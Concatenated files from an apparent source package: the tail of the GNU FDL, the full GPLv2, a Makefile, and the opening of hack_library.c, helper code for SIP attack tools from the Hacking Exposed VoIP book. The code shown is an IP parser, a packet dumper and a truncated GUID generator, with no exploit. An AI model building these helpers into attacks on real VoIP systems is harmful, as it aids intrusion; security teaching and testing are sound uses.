70 as Front-Cover Texts or Back-Cover Texts, in the notice that says that
71 the Document is released under this License. A Front-Cover Text may
72 be at most 5 words, and a Back-Cover Text may be at most 25 words.
73
74 A "Transparent" copy of the Document means a machine-readable copy,
75 represented in a format whose specification is available to the
76 general public, that is suitable for revising the document
77 straightforwardly with generic text editors or (for images composed of
78 pixels) generic paint programs or (for drawings) some widely available
79 drawing editor, and that is suitable for input to text formatters or
80 for automatic translation to a variety of formats suitable for input
81 to text formatters. A copy made in an otherwise Transparent file
82 format whose markup, or absence of markup, has been arranged to thwart
83 or discourage subsequent modification by readers is not Transparent.
84 An image format is not Transparent if used for any substantial amount
85 of text. A copy that is not "Transparent" is called "Opaque".
86
87 Examples of suitable formats for Transparent copies include plain
88 ASCII without markup, Texinfo input format, LaTeX input format, SGML
89 or XML using a publicly available DTD, and standard-conforming simple
90 HTML, PostScript or PDF designed for human modification. Examples of
91 transparent image formats include PNG, XCF and JPG. Opaque formats
92 include proprietary formats that can be read and edited only by
93 proprietary word processors, SGML or XML for which the DTD and/or
94 processing tools are not generally available, and the
95 machine-generated HTML, PostScript or PDF produced by some word
96 processors for output purposes only.
97
98 The "Title Page" means, for a printed book, the title page itself,
99 plus such following pages as are needed to hold, legibly, the material
100 this License requires to appear in the title page. For works in
101 formats which do not have any title page as such, "Title Page" means
102 the text near the most prominent appearance of the work's title,
103 preceding the beginning of the body of the text.
104
105 A section "Entitled XYZ" means a named subunit of the Document whose
106 title either is precisely XYZ or contains XYZ in parentheses following
107 text that translates XYZ in another language. (Here XYZ stands for a
108 specific section name mentioned below, such as "Acknowledgements",
109 "Dedications", "Endorsements", or "History".) To "Preserve the Title"
110 of such a section when you modify the Document means that it remains a
111 section "Entitled XYZ" according to this definition.
112
113 The Document may include Warranty Disclaimers next to the notice which
114 states that this License applies to the Document. These Warranty
115 Disclaimers are considered to be included by reference in this
116 License, but only as regards disclaiming warranties: any other
117 implication that these Warranty Disclaimers may have is void and has
118 no effect on the meaning of this License.
119
120
121 2. VERBATIM COPYING
122
123 You may copy and distribute the Document in any medium, either
124 commercially or noncommercially, provided that this License, the
125 copyright notices, and the license notice saying this License applies
126 to the Document are reproduced in all copies, and that you add no other
127 conditions whatsoever to those of this License. You may not use
128 technical measures to obstruct or control the reading or further
129 copying of the copies you make or distribute. However, you may accept
130 compensation in exchange for copies. If you distribute a large enough
131 number of copies you must also follow the conditions in section 3.
132
133 You may also lend copies, under the same conditions stated above, and
134 you may publicly display copies.
135
136
137 3. COPYING IN QUANTITY
138
139 If you publish printed copies (or copies in media that commonly have
140 printed covers) of the Document, numbering more than 100, and the
141 Document's license notice requires Cover Texts, you must enclose the
142 copies in covers that carry, clearly and legibly, all these Cover
143 Texts: Front-Cover Texts on the front cover, and Back-Cover Texts on
144 the back cover. Both covers must also clearly and legibly identify
145 you as the publisher of these copies. The front cover must present
146 the full title with all words of the title equally prominent and
147 visible. You may add other material on the covers in addition.
148 Copying with changes limited to the covers, as long as they preserve
149 the title of the Document and satisfy these conditions, can be treated
150 as verbatim copying in other respects.
151
152 If the required texts for either cover are too voluminous to fit
153 legibly, you should put the first ones listed (as many as fit
154 reasonably) on the actual cover, and continue the rest onto adjacent
155 pages.
156
157 If you publish or distribute Opaque copies of the Document numbering
158 more than 100, you must either include a machine-readable Transparent
159 copy along with each Opaque copy, or state in or with each Opaque copy
160 a computer-network location from which the general network-using
161 public has access to download using public-standard network protocols
162 a complete Transparent copy of the Document, free of added material.
163 If you use the latter option, you must take reasonably prudent steps,
164 when you begin distribution of Opaque copies in quantity, to ensure
165 that this Transparent copy will remain thus accessible at the stated
166 location until at least one year after the last time you distribute an
167 Opaque copy (directly or through your agents or retailers) of that
168 edition to the public.
169
170 It is requested, but not required, that you contact the authors of the
171 Document well before redistributing any large number of copies, to give
172 them a chance to provide you with an updated version of the Document.
173
174
175 4. MODIFICATIONS
176
177 You may copy and distribute a Modified Version of the Document under
178 the conditions of sections 2 and 3 above, provided that you release
179 the Modified Version under precisely this License, with the Modified
180 Version filling the role of the Document, thus licensing distribution
181 and modification of the Modified Version to whoever possesses a copy
182 of it. In addition, you must do these things in the Modified Version:
183
184 A. Use in the Title Page (and on the covers, if any) a title distinct
185 from that of the Document, and from those of previous versions
186 (which should, if there were any, be listed in the History section
187 of the Document). You may use the same title as a previous version
188 if the original publisher of that version gives permission.
189 B. List on the Title Page, as authors, one or more persons or entities
190 responsible for authorship of the modifications in the Modified
191 Version, together with at least five of the principal authors of the
192 Document (all of its principal authors, if it has fewer than five),
193 unless they release you from this requirement.
194 C. State on the Title page the name of the publisher of the
195 Modified Version, as the publisher.
196 D. Preserve all the copyright notices of the Document.
197 E. Add an appropriate copyright notice for your modifications
198 adjacent to the other copyright notices.
199 F. Include, immediately after the copyright notices, a license notice
200 giving the public permission to use the Modified Version under the
201 terms of this License, in the form shown in the Addendum below.
202 G. Preserve in that license notice the full lists of Invariant Sections
203 and required Cover Texts given in the Document's license notice.
204 H. Include an unaltered copy of this License.
205 I. Preserve the section Entitled "History", Preserve its Title, and add
206 to it an item stating at least the title, year, new authors, and
207 publisher of the Modified Version as given on the Title Page. If
208 there is no section Entitled "History" in the Document, create one
209 stating the title, year, authors, and publisher of the Document as
210 given on its Title Page, then add an item describing the Modified
211 Version as stated in the previous sentence.
212 J. Preserve the network location, if any, given in the Document for
213 public access to a Transparent copy of the Document, and likewise
214 the network locations given in the Document for previous versions
215 it was based on. These may be placed in the "History" section.
216 You may omit a network location for a work that was published at
217 least four years before the Document itself, or if the original
218 publisher of the version it refers to gives permission.
219 K. For any section Entitled "Acknowledgements" or "Dedications",
220 Preserve the Title of the section, and preserve in the section all
221 the substance and tone of each of the contributor acknowledgements
222 and/or dedications given therein.
223 L. Preserve all the Invariant Sections of the Document,
224 unaltered in their text and in their titles. Section numbers
225 or the equivalent are not considered part of the section titles.
226 M. Delete any section Entitled "Endorsements". Such a section
227 may not be included in the Modified Version.
228 N. Do not retitle any existing section to be Entitled "Endorsements"
229 or to conflict in title with any Invariant Section.
230 O. Preserve any Warranty Disclaimers.
231
232 If the Modified Version includes new front-matter sections or
233 appendices that qualify as Secondary Sections and contain no material
234 copied from the Document, you may at your option designate some or all
235 of these sections as invariant. To do this, add their titles to the
236 list of Invariant Sections in the Modified Version's license notice.
237 These titles must be distinct from any other section titles.
238
239 You may add a section Entitled "Endorsements", provided it contains
240 nothing but endorsements of your Modified Version by various
241 parties--for example, statements of peer review or that the text has
242 been approved by an organization as the authoritative definition of a
243 standard.
244
245 You may add a passage of up to five words as a Front-Cover Text, and a
246 passage of up to 25 words as a Back-Cover Text, to the end of the list
247 of Cover Texts in the Modified Version. Only one passage of
248 Front-Cover Text and one of Back-Cover Text may be added by (or
249 through arrangements made by) any one entity. If the Document already
250 includes a cover text for the same cover, previously added by you or
251 by arrangement made by the same entity you are acting on behalf of,
252 you may not add another; but you may replace the old one, on explicit
253 permission from the previous publisher that added the old one.
254
255 The author(s) and publisher(s) of the Document do not by this License
256 give permission to use their names for publicity for or to assert or
257 imply endorsement of any Modified Version.
258
259
260 5. COMBINING DOCUMENTS
261
262 You may combine the Document with other documents released under this
263 License, under the terms defined in section 4 above for modified
264 versions, provided that you include in the combination all of the
265 Invariant Sections of all of the original documents, unmodified, and
266 list them all as Invariant Sections of your combined work in its
267 license notice, and that you preserve all their Warranty Disclaimers.
268
269 The combined work need only contain one copy of this License, and
270 multiple identical Invariant Sections may be replaced with a single
271 copy. If there are multiple Invariant Sections with the same name but
272 different contents, make the title of each such section unique by
273 adding at the end of it, in parentheses, the name of the original
274 author or publisher of that section if known, or else a unique number.
275 Make the same adjustment to the section titles in the list of
276 Invariant Sections in the license notice of the combined work.
277
278 In the combination, you must combine any sections Entitled "History"
279 in the various original documents, forming one section Entitled
280 "History"; likewise combine any sections Entitled "Acknowledgements",
281 and any sections Entitled "Dedications". You must delete all sections
282 Entitled "Endorsements".
283
284
285 6. COLLECTIONS OF DOCUMENTS
286
287 You may make a collection consisting of the Document and other documents
288 released under this License, and replace the individual copies of this
289 License in the various documents with a single copy that is included in
290 the collection, provided that you follow the rules of this License for
291 verbatim copying of each of the documents in all other respects.
292
293 You may extract a single document from such a collection, and distribute
294 it individually under this License, provided you insert a copy of this
295 License into the extracted document, and follow this License in all
296 other respects regarding verbatim copying of that document.
297
298
299 7. AGGREGATION WITH INDEPENDENT WORKS
300
301 A compilation of the Document or its derivatives with other separate
302 and independent documents or works, in or on a volume of a storage or
303 distribution medium, is called an "aggregate" if the copyright
304 resulting from the compilation is not used to limit the legal rights
305 of the compilation's users beyond what the individual works permit.
306 When the Document is included in an aggregate, this License does not
307 apply to the other works in the aggregate which are not themselves
308 derivative works of the Document.
309
310 If the Cover Text requirement of section 3 is applicable to these
311 copies of the Document, then if the Document is less than one half of
312 the entire aggregate, the Document's Cover Texts may be placed on
313 covers that bracket the Document within the aggregate, or the
314 electronic equivalent of covers if the Document is in electronic form.
315 Otherwise they must appear on printed covers that bracket the whole
316 aggregate.
317
318
319 8. TRANSLATION
320
321 Translation is considered a kind of modification, so you may
322 distribute translations of the Document under the terms of section 4.
323 Replacing Invariant Sections with translations requires special
324 permission from their copyright holders, but you may include
325 translations of some or all Invariant Sections in addition to the
326 original versions of these Invariant Sections. You may include a
327 translation of this License, and all the license notices in the
328 Document, and any Warranty Disclaimers, provided that you also include
329 the original English version of this License and the original versions
330 of those notices and disclaimers. In case of a disagreement between
331 the translation and the original version of this License or a notice
332 or disclaimer, the original version will prevail.
333
334 If a section in the Document is Entitled "Acknowledgements",
335 "Dedications", or "History", the requirement (section 4) to Preserve
336 its Title (section 1) will typically require changing the actual
337 title.
338
339
340 9. TERMINATION
341
342 You may not copy, modify, sublicense, or distribute the Document except
343 as expressly provided for under this License. Any other attempt to
344 copy, modify, sublicense or distribute the Document is void, and will
345 automatically terminate your rights under this License. However,
346 parties who have received copies, or rights, from you under this
347 License will not have their licenses terminated so long as such
348 parties remain in full compliance.
349
350
351 10. FUTURE REVISIONS OF THIS LICENSE
352
353 The Free Software Foundation may publish new, revised versions
354 of the GNU Free Documentation License from time to time. Such new
355 versions will be similar in spirit to the present version, but may
356 differ in detail to address new problems or concerns. See
357 http://www.gnu.org/copyleft/.
358
359 Each version of the License is given a distinguishing version number.
360 If the Document specifies that a particular numbered version of this
361 License "or any later version" applies to it, you have the option of
362 following the terms and conditions either of that specified version or
363 of any later version that has been published (not as a draft) by the
364 Free Software Foundation. If the Document does not specify a version
365 number of this License, you may choose any version ever published (not
366 as a draft) by the Free Software Foundation.
367
368
369 ADDENDUM: How to use this License for your documents
370
371 To use this License in a document you have written, include a copy of
372 the License in the document and put the following copyright and
373 license notices just after the title page:
374
375 Copyright (c) YEAR YOUR NAME.
376 Permission is granted to copy, distribute and/or modify this document
377 under the terms of the GNU Free Documentation License, Version 1.2
378 or any later version published by the Free Software Foundation;
379 with no Invariant Sections, no Front-Cover Texts, and no Back-Cover Texts.
380 A copy of the license is included in the section entitled "GNU
381 Free Documentation License".
382
383 If you have Invariant Sections, Front-Cover Texts and Back-Cover Texts,
384 replace the "with...Texts." line with this:
385
386 with the Invariant Sections being LIST THEIR TITLES, with the
387 Front-Cover Texts being LIST, and with the Back-Cover Texts being LIST.
388
389 If you have Invariant Sections without Cover Texts, or some other
390 combination of the three, merge those two alternatives to suit the
391 situation.
392
393 If your document contains nontrivial examples of program code, we
394 recommend releasing these examples in parallel under your choice of
395 free software license, such as the GNU General Public License,
396 to permit their use in free software.
0 GNU GENERAL PUBLIC LICENSE
1 Version 2, June 1991
2
3 Copyright (C) 1989, 1991 Free Software Foundation, Inc.
4 59 Temple Place - Suite 330, Boston, MA
5 02111-1307, USA.
6 Everyone is permitted to copy and distribute verbatim copies
7 of this license document, but changing it is not allowed.
8
9 Preamble
10
11 The licenses for most software are designed to take away your
12 freedom to share and change it. By contrast, the GNU General Public
13 License is intended to guarantee your freedom to share and change free
14 software--to make sure the software is free for all its users. This
15 General Public License applies to most of the Free Software
16 Foundation's software and to any other program whose authors commit to
17 using it. (Some other Free Software Foundation software is covered by
18 the GNU Library General Public License instead.) You can apply it to
19 your programs, too.
20
21 When we speak of free software, we are referring to freedom, not
22 price. Our General Public Licenses are designed to make sure that you
23 have the freedom to distribute copies of free software (and charge for
24 this service if you wish), that you receive source code or can get it
25 if you want it, that you can change the software or use pieces of it
26 in new free programs; and that you know you can do these things.
27
28 To protect your rights, we need to make restrictions that forbid
29 anyone to deny you these rights or to ask you to surrender the rights.
30 These restrictions translate to certain responsibilities for you if you
31 distribute copies of the software, or if you modify it.
32
33 For example, if you distribute copies of such a program, whether
34 gratis or for a fee, you must give the recipients all the rights that
35 you have. You must make sure that they, too, receive or can get the
36 source code. And you must show them these terms so they know their
37 rights.
38
39 We protect your rights with two steps: (1) copyright the software, and
40 (2) offer you this license which gives you legal permission to copy,
41 distribute and/or modify the software.
42
43 Also, for each author's protection and ours, we want to make certain
44 that everyone understands that there is no warranty for this free
45 software. If the software is modified by someone else and passed on, we
46 want its recipients to know that what they have is not the original, so
47 that any problems introduced by others will not reflect on the original
48 authors' reputations.
49
50 Finally, any free program is threatened constantly by software
51 patents. We wish to avoid the danger that redistributors of a free
52 program will individually obtain patent licenses, in effect making the
53 program proprietary. To prevent this, we have made it clear that any
54 patent must be licensed for everyone's free use or not licensed at all.
55
56 The precise terms and conditions for copying, distribution and
57 modification follow.
58
59 GNU GENERAL PUBLIC LICENSE
60 TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
61
62 0. This License applies to any program or other work which contains
63 a notice placed by the copyright holder saying it may be distributed
64 under the terms of this General Public License. The "Program", below,
65 refers to any such program or work, and a "work based on the Program"
66 means either the Program or any derivative work under copyright law:
67 that is to say, a work containing the Program or a portion of it,
68 either verbatim or with modifications and/or translated into another
69 language. (Hereinafter, translation is included without limitation in
70 the term "modification".) Each licensee is addressed as "you".
71
72 Activities other than copying, distribution and modification are not
73 covered by this License; they are outside its scope. The act of
74 running the Program is not restricted, and the output from the Program
75 is covered only if its contents constitute a work based on the
76 Program (independent of having been made by running the Program).
77 Whether that is true depends on what the Program does.
78
79 1. You may copy and distribute verbatim copies of the Program's
80 source code as you receive it, in any medium, provided that you
81 conspicuously and appropriately publish on each copy an appropriate
82 copyright notice and disclaimer of warranty; keep intact all the
83 notices that refer to this License and to the absence of any warranty;
84 and give any other recipients of the Program a copy of this License
85 along with the Program.
86
87 You may charge a fee for the physical act of transferring a copy, and
88 you may at your option offer warranty protection in exchange for a fee.
89
90 2. You may modify your copy or copies of the Program or any portion
91 of it, thus forming a work based on the Program, and copy and
92 distribute such modifications or work under the terms of Section 1
93 above, provided that you also meet all of these conditions:
94
95 a) You must cause the modified files to carry prominent notices
96 stating that you changed the files and the date of any change.
97
98 b) You must cause any work that you distribute or publish, that in
99 whole or in part contains or is derived from the Program or any
100 part thereof, to be licensed as a whole at no charge to all third
101 parties under the terms of this License.
102
103 c) If the modified program normally reads commands interactively
104 when run, you must cause it, when started running for such
105 interactive use in the most ordinary way, to print or display an
106 announcement including an appropriate copyright notice and a
107 notice that there is no warranty (or else, saying that you provide
108 a warranty) and that users may redistribute the program under
109 these conditions, and telling the user how to view a copy of this
110 License. (Exception: if the Program itself is interactive but
111 does not normally print such an announcement, your work based on
112 the Program is not required to print an announcement.)
113
114 These requirements apply to the modified work as a whole. If
115 identifiable sections of that work are not derived from the Program,
116 and can be reasonably considered independent and separate works in
117 themselves, then this License, and its terms, do not apply to those
118 sections when you distribute them as separate works. But when you
119 distribute the same sections as part of a whole which is a work based
120 on the Program, the distribution of the whole must be on the terms of
121 this License, whose permissions for other licensees extend to the
122 entire whole, and thus to each and every part regardless of who wrote it.
123
124 Thus, it is not the intent of this section to claim rights or contest
125 your rights to work written entirely by you; rather, the intent is to
126 exercise the right to control the distribution of derivative or
127 collective works based on the Program.
128
129 In addition, mere aggregation of another work not based on the Program
130 with the Program (or with a work based on the Program) on a volume of
131 a storage or distribution medium does not bring the other work under
132 the scope of this License.
133
134 3. You may copy and distribute the Program (or a work based on it,
135 under Section 2) in object code or executable form under the terms of
136 Sections 1 and 2 above provided that you also do one of the following:
137
138 a) Accompany it with the complete corresponding machine-readable
139 source code, which must be distributed under the terms of Sections
140 1 and 2 above on a medium customarily used for software interchange; or,
141
142 b) Accompany it with a written offer, valid for at least three
143 years, to give any third party, for a charge no more than your
144 cost of physically performing source distribution, a complete
145 machine-readable copy of the corresponding source code, to be
146 distributed under the terms of Sections 1 and 2 above on a medium
147 customarily used for software interchange; or,
148
149 c) Accompany it with the information you received as to the offer
150 to distribute corresponding source code. (This alternative is
151 allowed only for noncommercial distribution and only if you
152 received the program in object code or executable form with such
153 an offer, in accord with Subsection b above.)
154
155 The source code for a work means the preferred form of the work for
156 making modifications to it. For an executable work, complete source
157 code means all the source code for all modules it contains, plus any
158 associated interface definition files, plus the scripts used to
159 control compilation and installation of the executable. However, as a
160 special exception, the source code distributed need not include
161 anything that is normally distributed (in either source or binary
162 form) with the major components (compiler, kernel, and so on) of the
163 operating system on which the executable runs, unless that component
164 itself accompanies the executable.
165
166 If distribution of executable or object code is made by offering
167 access to copy from a designated place, then offering equivalent
168 access to copy the source code from the same place counts as
169 distribution of the source code, even though third parties are not
170 compelled to copy the source along with the object code.
171
172 4. You may not copy, modify, sublicense, or distribute the Program
173 except as expressly provided under this License. Any attempt
174 otherwise to copy, modify, sublicense or distribute the Program is
175 void, and will automatically terminate your rights under this License.
176 However, parties who have received copies, or rights, from you under
177 this License will not have their licenses terminated so long as such
178 parties remain in full compliance.
179
180 5. You are not required to accept this License, since you have not
181 signed it. However, nothing else grants you permission to modify or
182 distribute the Program or its derivative works. These actions are
183 prohibited by law if you do not accept this License. Therefore, by
184 modifying or distributing the Program (or any work based on the
185 Program), you indicate your acceptance of this License to do so, and
186 all its terms and conditions for copying, distributing or modifying
187 the Program or works based on it.
188
189 6. Each time you redistribute the Program (or any work based on the
190 Program), the recipient automatically receives a license from the
191 original licensor to copy, distribute or modify the Program subject to
192 these terms and conditions. You may not impose any further
193 restrictions on the recipients' exercise of the rights granted herein.
194 You are not responsible for enforcing compliance by third parties to
195 this License.
196
197 7. If, as a consequence of a court judgment or allegation of patent
198 infringement or for any other reason (not limited to patent issues),
199 conditions are imposed on you (whether by court order, agreement or
200 otherwise) that contradict the conditions of this License, they do not
201 excuse you from the conditions of this License. If you cannot
202 distribute so as to satisfy simultaneously your obligations under this
203 License and any other pertinent obligations, then as a consequence you
204 may not distribute the Program at all. For example, if a patent
205 license would not permit royalty-free redistribution of the Program by
206 all those who receive copies directly or indirectly through you, then
207 the only way you could satisfy both it and this License would be to
208 refrain entirely from distribution of the Program.
209
210 If any portion of this section is held invalid or unenforceable under
211 any particular circumstance, the balance of the section is intended to
212 apply and the section as a whole is intended to apply in other
213 circumstances.
214
215 It is not the purpose of this section to induce you to infringe any
216 patents or other property right claims or to contest validity of any
217 such claims; this section has the sole purpose of protecting the
218 integrity of the free software distribution system, which is
219 implemented by public license practices. Many people have made
220 generous contributions to the wide range of software distributed
221 through that system in reliance on consistent application of that
222 system; it is up to the author/donor to decide if he or she is willing
223 to distribute software through any other system and a licensee cannot
224 impose that choice.
225
226 This section is intended to make thoroughly clear what is believed to
227 be a consequence of the rest of this License.
228
229 8. If the distribution and/or use of the Program is restricted in
230 certain countries either by patents or by copyrighted interfaces, the
231 original copyright holder who places the Program under this License
232 may add an explicit geographical distribution limitation excluding
233 those countries, so that distribution is permitted only in or among
234 countries not thus excluded. In such case, this License incorporates
235 the limitation as if written in the body of this License.
236
237 9. The Free Software Foundation may publish revised and/or new versions
238 of the General Public License from time to time. Such new versions will
239 be similar in spirit to the present version, but may differ in detail to
240 address new problems or concerns.
241
242 Each version is given a distinguishing version number. If the Program
243 specifies a version number of this License which applies to it and "any
244 later version", you have the option of following the terms and conditions
245 either of that version or of any later version published by the Free
246 Software Foundation. If the Program does not specify a version number of
247 this License, you may choose any version ever published by the Free Software
248 Foundation.
249
250 10. If you wish to incorporate parts of the Program into other free
251 programs whose distribution conditions are different, write to the author
252 to ask for permission. For software which is copyrighted by the Free
253 Software Foundation, write to the Free Software Foundation; we sometimes
254 make exceptions for this. Our decision will be guided by the two goals
255 of preserving the free status of all derivatives of our free software and
256 of promoting the sharing and reuse of software generally.
257
258 NO WARRANTY
259
260 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
261 FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN
262 OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
263 PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
264 OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
265 MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS
266 TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE
267 PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
268 REPAIR OR CORRECTION.
269
270 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
271 WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
272 REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
273 INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
274 OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
275 TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
276 YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
277 PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
278 POSSIBILITY OF SUCH DAMAGES.
279
280 END OF TERMS AND CONDITIONS
281
282 Appendix: How to Apply These Terms to Your New Programs
283
284 If you develop a new program, and you want it to be of the greatest
285 possible use to the public, the best way to achieve this is to make it
286 free software which everyone can redistribute and change under these terms.
287
288 To do so, attach the following notices to the program. It is safest
289 to attach them to the start of each source file to most effectively
290 convey the exclusion of warranty; and each file should have at least
291 the "copyright" line and a pointer to where the full notice is found.
292
293 <one line to give the program's name and a brief idea of what it does.>
294 Copyright (C) 19yy <name of author>
295
296 This program is free software; you can redistribute it and/or modify
297 it under the terms of the GNU General Public License as published by
298 the Free Software Foundation; either version 2 of the License, or
299 (at your option) any later version.
300
301 This program is distributed in the hope that it will be useful,
302 but WITHOUT ANY WARRANTY; without even the implied warranty of
303 MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
304 GNU General Public License for more details.
305
306 You should have received a copy of the GNU General Public License
307 along with this program; if not, write to the Free Software
308 Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
309
310 Also add information on how to contact you by electronic and paper mail.
311
312 If the program is interactive, make it output a short notice like this
313 when it starts in an interactive mode:
314
315 Gnomovision version 69, Copyright (C) 19yy name of author
316 Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
317 This is free software, and you are welcome to redistribute it
318 under certain conditions; type `show c' for details.
319
320 The hypothetical commands `show w' and `show c' should show the appropriate
321 parts of the General Public License. Of course, the commands you use may
322 be called something other than `show w' and `show c'; they could even be
323 mouse-clicks or menu items--whatever suits your program.
324
325 You should also get your employer (if you work as a programmer) or your
326 school, if any, to sign a "copyright disclaimer" for the program, if
327 necessary. Here is a sample; alter the names:
328
329 Yoyodyne, Inc., hereby disclaims all copyright interest in the program
330 `Gnomovision' (which makes passes at compilers) written by James Hacker.
331
332 <signature of Ty Coon>, 1 April 1989
333 Ty Coon, President of Vice
334
335 This General Public License does not permit incorporating your program into
336 proprietary programs. If your program is a subroutine library, you may
337 consider it more useful to permit linking proprietary applications with the
338 library. If this is what you want to do, use the GNU Library General
339 Public License instead of this License.
0 hack_library: hack_library.c hack_library.h
1 gcc -c hack_library.c
2
3 clean:
4 rm -f hack_library.o
5
0 //-------------------------------------------------------------------------------
1 //
2 // hack_library.c - A collection of tools used for SIP attack
3 // tools. Developed for the Hacking
4 // Exposed VoIP book.
5 //
6 // Copyright (C) 2006 Mark D. Collier/Mark O'Brien
7 //
8 // This program is free software; you can redistribute it and/or modify
9 // it under the terms of the GNU General Public License as published by
10 // the Free Software Foundation; either version 2 of the License, or
11 // (at your option) any later version.
12 //
13 // This program is distributed in the hope that it will be useful,
14 // but WITHOUT ANY WARRANTY; without even the implied warranty of
15 // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
16 // GNU General Public License for more details.
17 //
18 // You should have received a copy of the GNU General Public License
19 // along with this program; if not, write to the Free Software
20 // Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
21 //
22 // Author: Mark D. Collier/Mark O'Brien - 02/17/2006 v1.0
23 // www.securelogix.com - [email protected]
24 // www.hackingexposedvoip.com
25 //
26 //-------------------------------------------------------------------------------
27
28 #include "hack_library.h"
29
30 //-------------------------------------------------------------------------------
31 //
32 // Str2IP
33 //
34 // Called to convert a character string to an int IP address in network byte
35 // order. The string must be in dot notation. Note: This is a destructive call
36 // to the input string!
37 //
38 //-----------------------------------------------------------------------------
39
40 int Str2IP ( char *str, int *ipNum )
41 {
42 unsigned char str_val[4];
43 int *int_val = (int*) str_val;
44 int i = 0;
45 int val;
46 char *digits;
47 char *end = NULL;
48 char *ptr = str;
49
50 //
51 // Skip leading spaces
52 //
53
54 while ( *ptr == ' ' ) {
55 ptr++;
56 }
57 digits = ptr;
58
59 //
60 // Make sure the string is digits and '.'
61 //
62
63 while ( *ptr != '\0' && *ptr != ' ' ) {
64 if ( (!isdigit(*ptr)) && (*ptr != '.' ) ) {
65 return ( EXIT_FAILURE );
66 } else if ( *ptr == '.' ) {
67 if ( i == 3 ) {
68 return ( EXIT_FAILURE );
69 } else {
70 i++;
71 }
72 ptr++;
73 } else {
74 ptr++;
75 }
76 }
77
78 if ( i != 3 ) {
79 return ( EXIT_FAILURE );
80 }
81
82 ptr = digits;
83 for ( i = 0; i < 4; i++ ) {
84 if ( i<3 && (end = strchr(ptr,'.')) == NULL ) {
85 return ( EXIT_FAILURE );
86 }
87
88 *end = '\0';
89 val = atoi( ptr );
90 if ( val > 255 || ! isdigit(*ptr) ) {
91 return ( EXIT_FAILURE );
92 }
93
94 str_val[i] = (unsigned char) val;
95 ptr = end + 1;
96 }
97
98 *ipNum = *int_val;
99
100 return ( EXIT_SUCCESS );
101 }
102
103 //-----------------------------------------------------------------------------
104 //
105 // DumpPacket
106 //
107 // Dump out the contents of the packet in a standard form.
108 // The packetSize is the length in bytes. Output appears
109 // in the following form:
110 //
111 // 0000 xx xx xx xx xx xx xx xx xx xx xx xx xx xx xx xx
112 // 0010 xx xx xx xx xx xx xx xx xx xx xx xx xx xx xx xx
113 // 0020 xx xx xx
114 //
115 // where the 1st column is the offset from the beginning of the
116 // packet for the next byte and each xx is a hex byte value.
117 //
118 // return 0 for success, -1 for failure.
119 //
120 //-----------------------------------------------------------------------------
121
122 int DumpPacket( char *psPacket, int packetSize )
123 {
124 int lines = packetSize / 16;
125 int rem = packetSize % 16;
126 int m = 0;
127 int n = 0;
128
129 if ( ( !psPacket ) || ( packetSize < 0 ) ) {
130 return -1;
131 }
132
133 printf( "\nPacket:" );
134
135 for ( m = 0; m < lines; m++ ) {
136
137 //
138 // Print first 8 bytes of current line
139 //
140
141 printf( "\n%04.4x ", m * 16 ); // Row offset leader
142
143 for ( ; n < ( m * 16 + 8 ); n++ ) {
144 printf( " %02.2x", (unsigned char) psPacket[ n ] );
145 }
146
147 printf ( " " ); // Extra space separating columns of 8
148
149 //
150 // Print last 8 bytes of current line
151 //
152
153 for ( ; ( n < ( m + 1 ) * 16 ); n++ ) {
154 printf( " %02.2x", (unsigned char) psPacket[ n ] );
155 }
156 }
157
158 //
159 // Print remainder of bytes that do not form a full 16 byte line. Print up to
160 // first 8 bytes of last line
161 //
162
163 if ( n != packetSize ) {
164 printf( "\n%4.4x ", m * 16 ); // Row offset leader
165
166 for ( ; ( n < ( m * 16 + 8 ) ) && ( n < packetSize ); n++ ) {
167 printf( " %02.2x", (unsigned char) psPacket[ n ] );
168 }
169
170 printf ( " " ); // Extra space separating columns of 8
171
172 //
173 // Print up to next 8 bytes of last line
174 //
175
176 for ( ; ( n < ( ( m + 1 ) * 16 ) ) && ( n < packetSize ); n++ ) {
177 printf( " %02.2x", (unsigned char) psPacket[ n ] );
178 }
179 }
180
181 printf( "\n\n" );
182 return ( 0 );
183
184 } // end DumpPacket()
185
186 //-----------------------------------------------------------------------------
187 //
188 // GetNextGuid
189 //
190 // Generate a 36 character random ID.
191 //
192 //-----------------------------------------------------------------------------
193
194 char *GetNextGuid ( void )
195 {
196 char *guid;
197 int r1;
198 int r2;
199 int r3;
200 int ur;
201 struct timeval tv;
202
203 ur = open( "/dev/urandom", O_RDONLY );
204 if ( ur < 0 ) {
205 r1 = random();
206 r2 = random();
207 r3 = random();
208 } else {
209 if ( read( ur, &r1, sizeof( r1 ) ) < ( int )sizeof( r1 ) ) {
210 r1 = random();
211 }
212 if ( read( ur, &r2, sizeof( r2 ) ) < ( int )sizeof( r2 ) ) {
213 r2 = random();
214 }
215 if ( read( ur, &r3, sizeof( r3 ) ) < ( int )sizeof( r3 ) ) {
216 r3 = random();
217 }
218 close( ur );
219 }
220
221 guid = (char *)malloc( 37 );
222 if ( !guid ) {
